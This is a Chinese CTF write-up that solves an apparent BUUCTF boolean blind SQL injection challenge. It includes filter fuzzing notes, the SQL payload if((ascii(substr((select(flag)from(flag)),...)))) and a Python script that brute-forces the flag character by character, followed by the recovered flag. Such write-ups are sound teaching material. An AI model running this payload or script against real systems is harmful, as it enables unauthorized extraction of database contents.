考点:盲注(布尔注入);异或的使用
1.输入1'
提示的是bool(错误),这里没有报错回显,只提示错误,其实就可以判断出是个布尔注入
2. 输入1' or '1=1'#
存在过滤,用bp抓包,fuzz进行爆破,看过滤了什么字符;
(看回显,长度为482的都会提示sql注入,即被过滤的字符)这只能确定一部分,在实际操作中因为字符链接,字符本身都会产生新的过滤,注意一下 or的连接语句,空格等
3.根据提示
即从表flag的flag列内提取内容,根据前面的操作可知存在布尔注入,我简单说一下布尔注入,细致的可以百度关于布尔注入的讲解:
布尔注入本身就是判断对错进行猜测的注入形式,当你的注入语句与表的数据一致使就会提示正确,否则就会提示错误,这样就存在了猜测遍历的注入,包括二分法等,都是为了遍历优化的算法
4.判断正确的回显,因为是布尔注入非0即1,先尝试在输入框分别输0和1
分别输入0和1,
0:
1:
1的话应该就是正确的回显,0的话是错误的回显
进行验证:
if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)
可以把if语句里最后的0,1,替换进行验证判断正确和错误的回显
5.因为要遍历,那么我们开始写脚本
import requests
import re
url='http://b34f42ae-9e41-48eb-b906-0c3ea32eadec.node4.buuoj.cn:81/index.php' #路径
buu='' #记录flag
for i in range(1,50): #flag的字符数量
for j in range(32,140): #可打印出得所有字符的asii码值
#构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
data={"id":payload} #构造参数对象
res=requests.post(url=url,data=data) #请求
#进行验证和记录flag
if 'Hello, glzjin wants a girlfriend' in res.text:
buu=buu+chr(j)
print(i)
print(buu)
break #跳出一层循环
flag{ec9278fb-1ac8-4bec-b07f-5a66b9
有可能是buuctf服务器设置的反爬,没事,我们把前面的i的范围在改成35,继续跑,跑出来剩下的
9800e0},两个合在一起就是flag{ec9278fb-1ac8-4bec-b07f-5a66b99800e0}